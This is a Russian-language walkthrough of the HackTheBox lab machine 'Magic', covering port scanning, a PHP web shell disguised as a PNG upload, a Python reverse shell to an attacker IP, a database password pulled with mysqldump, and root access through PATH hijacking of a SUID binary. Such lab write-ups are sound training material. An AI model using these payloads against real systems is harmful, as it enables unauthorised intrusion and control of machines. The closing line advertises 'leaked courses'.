![](https://habrastorage.org/webt/i_/uy/z6/i_uyz6yb2yn2gnbjmi1udyepcqi.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье кидаем шелл в картинке, ищем учетные данные с помощью mysqldump и повышаем привилегии через sysinfo.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.185, который я добавляю в /etc/hosts.
10.10.10.185 magic.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
![](https://habrastorage.org/webt/4r/me/lu/4rmeluthzyg_tlpa6js8d3gihxq.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A magic.htb -p22,80
![](https://habrastorage.org/webt/sp/_1/7v/sp_17vv7fwpisi85n7wldt4o8em.png)
На хосте открыто 2 порта: 22 — служба SSH, и 80 — веб-сервер. Как обычно, смотрим веб.
![](https://habrastorage.org/webt/xt/hn/53/xthn53o-eylieagqdurl2n-zzvc.png)
Замечаем ссылку на страницу авторизации. Первым делом пробуем один способ обхода авторизации, и находим верный.
![](https://habrastorage.org/webt/a9/nj/yw/a9njywuwxwmx908kijqm8lcwiac.png)
Нас встречает форма загрузки изображений. Давайте попробуем закинуть в php код. Для этого возьмем первые четыре байта изображения и допишем к ним код. При этом сохраним двойным расширением. Так как при загрузке, сервер проверит последнее, а при выполнении — первое.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
![](https://habrastorage.org/webt/v5/jn/_p/v5jn_pz33c-eip2gxcfbaalpu_s.png)
Но нас ловят.
![](https://habrastorage.org/webt/fx/m4/t4/fxm4t4gqitesiqrnqfy26x-vpds.png)
Давайте попробуем обхитрить, и спрячем код в комментарии.
![](https://habrastorage.org/webt/rc/nq/hj/rcnqhjj9bom4kyxppdl-rshqis4.png)
И после попытки загрузить, нам сообщают об успешной загрузке.
![](https://habrastorage.org/webt/ik/dh/xv/ikdhxv9loyjiroq0ai2n1r0gaai.png)
Файл загружен, но вопрос — куда. Переберем директории, сайт простенький и время у меня было много, поэтому я не использовал gobuster и огромные словари. Запускаем dirb.
![](https://habrastorage.org/webt/dt/nd/c7/dtndc7kkkjdslkchl5khzbawpce.png)
Скорее всего, мы нашли директорию, куда загружаются файлы. Теперь обратимся к нашему файлу, и в качестве параметра передадим команду ls.
![](https://habrastorage.org/webt/j2/gn/6h/j2gn6hab28evlhpwalqielcw-xs.png)
И она выполнена!
Entry Point
Давайте кинем реверс шелл в качестве параметра.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
И получаем бэкконнект на 4321 порт.
![](https://habrastorage.org/webt/yt/fd/ta/ytfdtaf7_odmss4jwz5y5mbl6ag.png)
![](https://habrastorage.org/webt/ze/yj/c-/zeyjc-q9idabayrwg_g3qqlr__w.png)
И в рабочей директории находим файл для работы с базой данных.
![](https://habrastorage.org/webt/o3/nh/sz/o3nhszdyijhvwbvzxv3tyn8jppe.png)
И в данном файле находим пароль пользователя.
![](https://habrastorage.org/webt/4u/8x/nm/4u8xnmzt5h9ftwdm1f76yc5i4yg.png)
Причем этот пользователь есть в системе. Пробуем сменить пользователя, но неудачно.
![](https://habrastorage.org/webt/ub/9_/st/ub9_stktqxt6o_gk0nzjzeloevw.png)
USER
Так как это пароль от базы данных, то он связан с mysql. Но у меня не вышло работать ни с mysql, ни с mysqladmin. Тогда было принято решение посмотреть все программы связанные с mysql.
![](https://habrastorage.org/webt/87/r_/ui/87r_uiqhvuwi8qbni1eyvyhcpno.png)
Удача улыбнулась mysqldump. Подключаемся и находим пароль.
mysqldump -u theseus -p iamkingtheseus Magic
![](https://habrastorage.org/webt/gh/q-/uu/ghq-uubn6pfruclrvruzjwyjdhc.png)
Теперь удачно меняем пользователя и получаем пользовательский флаг.
![](https://habrastorage.org/webt/ql/rt/e0/qlrte0bj4u43e47lo_ai0npzwcs.png)
ROOT
Для удобства работы я сгенерировал SSH ключи с помощью ssh-keygen, публичный записал в файл ~/.ssh/authorized_keys, а с помощью приватного подключился по SSH. Далее загружаем на удаленный хост LinPEAS и запускаем. После полного перечисления всей системы, анализируем вывод. Единственное, за что я зацепился, это файлы с выставленным SUID (те, которые выполняются нами от имени root).
![](https://habrastorage.org/webt/2p/i0/hg/2pi0hg56esdbeohanbeajvh8a2y.png)
Программа sysinfo. Поискав информацию, ничего про выполнение команд найти не удалось. Тогда пришла идея, а что если sysinfo использует другие программы, которые мы можем дискредитировать. Я запустил sysinfo под ltrace.
![](https://habrastorage.org/webt/0u/sy/y9/0usyy9kyecdqmfjunwibdcpu7t8.png)
Таким образом, sysinfo запускает программы lshw, fdisk и cat. Теперь подробнее про вектор LPE. В операционной системе есть переменная окружения PATH, которая хранит в себе пути.
![](https://habrastorage.org/webt/5-/p3/8w/5-p38wcyi5idrnej9lwamjs-6bg.png)
Когда вы набираете программу ls или cd, система по очереди ищет эти файлы в директориях, указанных в PATH. Таким образом, если мы на первое место в PATH запишем любую директорию, а нее помести другую программу ls или cat, то будет вызвана именно она.
Таким образом, подобное я проверну с fdisk. Я не буду кидать реверс шелл, а просто скопирую наш SSH ключ пользователя руту, чтобы подключиться к руту по SSH также, как к пользователю.
![](https://habrastorage.org/webt/rv/t8/ch/rvt8chvxzjwspszk48igcgdvme8.png)
Для примера вызовем fdisk. Как можно наблюдать, вызван легитимный fdisk.
![](https://habrastorage.org/webt/dh/ay/ur/dhayurm9j2wl4hhzzh_mlo-3xcm.png)
Теперь добавим наш путь в переменную окружения PATH.
![](https://habrastorage.org/webt/b2/94/zn/b294znpw4v7qsnelqgnz_mb4k0m.png)
Теперь система будет искать fdisk сначала в /tmp/123.
![](https://habrastorage.org/webt/lp/an/uh/lpanuhm9fdct-z_k8421wphgeio.png)
Запустим sysinfo.
![](https://habrastorage.org/webt/sq/ya/hq/sqyahqz2r05rrbu-ghw2y5osb3o.png)
В выводе видим ошибку, так как директории .ssh у рута нет. Изменим скрипт, чтобы он сначала создавал директорию, а потом производил копирование. После выполнения sysinfo, никаких ошибок fdisk нет. Подключаемся по SSH как root и забираем флаг.
![](https://habrastorage.org/webt/nj/wg/fa/njwgfajqekgkxpbm_yqg_ijsbym.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.